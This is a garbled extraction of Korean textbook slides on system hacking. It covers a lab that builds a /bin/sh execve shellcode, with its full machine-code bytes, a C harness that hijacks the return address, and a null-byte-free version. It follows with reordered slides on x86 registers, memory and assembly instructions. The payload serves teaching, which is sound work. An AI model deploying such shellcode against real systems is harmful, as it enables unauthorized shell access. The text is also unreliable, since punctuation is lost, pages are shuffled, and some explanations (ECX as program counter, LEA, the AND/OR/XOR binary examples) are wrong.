저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 9: 80×86  시스템에 대한 이해

9108

레지스터의 종류와 기능 [ 표 2-5] 레지스터의 종류와 용도

범용 레지스터

80times86 시스템 CPU 의 구조와 레지스터

구분 맴핑 레지스터

연산

장치

관련

레지

스터

누산기 (Accumulator) EAX

데이터 레지스터 (Data Register) EDX

상태 레지스터 (Status Register) EFLAGS

제어

장치

관련

레지

스터

프로그램 카운터 (Program Counter) ECX

명령 레지스터 (Instruction Register) EIP

메모리 주소 레지스터 (Memory Address Register)

EBX EBP ESP EDI ESI 등

메모리 버퍼 레지스터 (Memory Buffer Register)

프로그램 실행과 관련한 데이터를 저장하는

레지스터로 RAM 의 역할을 한다

10108

레지스터의 종류와 기능 범용 레지스터

bull 연산 장치가 수행한 계산 결과의 임시 저장 산술 및 논리 연산 주소 색인 등의

목적으로 사용될 수 있는 레지스터 EAX EBX ECX EDX 등 bull EAX EBX ECX EDX 는 32 비트 레지스터로 앞의 E 는lsquo확장된 (Extended)rsquo 을 의미

이 레지스터의 오른쪽 16 비트를 각각 AX BX CX DX 라 부르고

이 부분은 다시 둘로 나뉜다 예를 들어 AX 는왼쪽 8 비트 상위 (high) 부분을 AH

오른쪽 8 비트 하위 (low) 부분을 AL 이라 한다

80times86 시스템 CPU 의 구조와 레지스터

11108

범용 레지스터bull EAX 레지스터 누산기 입출력과 대부분 산술 연산에 사용bull EBX 레지스터 DS 세그먼트에 대한 포인터를 주로 저장 ESI 나 EDI 와 결합하여 인덱스에 사용bull ECX 레지스터 루프가 반복되는 횟수를 제어하는 값 왼쪽이나 오른쪽으로 이동되는 비트 수 등을 포함bull EDX 레지스터 입출력 연산에 사용 큰 수의 곱셈과 나눗셈 연산에서 EAX와 함께 사용

80times86 시스템 CPU 의 구조와 레지스터

12108

세그먼트 레지스터 프로그램에 정의된 메모리상의 특정 영역

코드 데이터 스택 등을 포함

CS DS SS 3 개의 레지스터가 기본 ES FS GS 레지스터는 여분

bull CS 레지스터 기계 명령을 포함 코드세그먼트의 시작 주소를 가리킴

bull DS 레지스터 프로그램에 정의된 데이터 상수 작업 영역을 포함

데이터 세그먼트의 시작 주소를 가리킴

데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조

bull SS 레지스터 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용 스택 세그먼트의 시작 주소를 가리킨다

bull ES FS GS 레지스터 ES 레지스터는 추가로 사용된 데이터 세그먼트의 주소를 가리킴

FS 와 GS 레지스터도 목적은 이와 비슷 거의 사용되지 않음

80times86 시스템 CPU 의 구조와 레지스터

13108

포인트 레지스터 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장

EBP ESP EIP 가 있다

bull EBP 레지스터 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장

함수로 전달되는 지역변수 등을 참조할 때 기준 ESP 레지스터와 함께

사용되어 스택 프레임 (stack frame) 을 형성 실제 메모리상의 주소를 참조할 때

SS(Stack Segment) 레지스터와 함께 사용 bull ESP 레지스터 현재 스택 영역에서 가장 하위 주소를 저장 EBP 와 마찬가지로 실제

메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용 bull EIP 레지스터 다음에 실행될 명령의 오프셋을 포함 CS(Code Segment) 레지스터와 함께

사용

인덱스 레지스터bull ESI amp EDI 메모리의 한 영역 (Souce) 에서 다른 영역 (Destination) 으로 데이터를

연속적으로 복사할 때 사용

80times86 시스템 CPU 의 구조와 레지스터

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

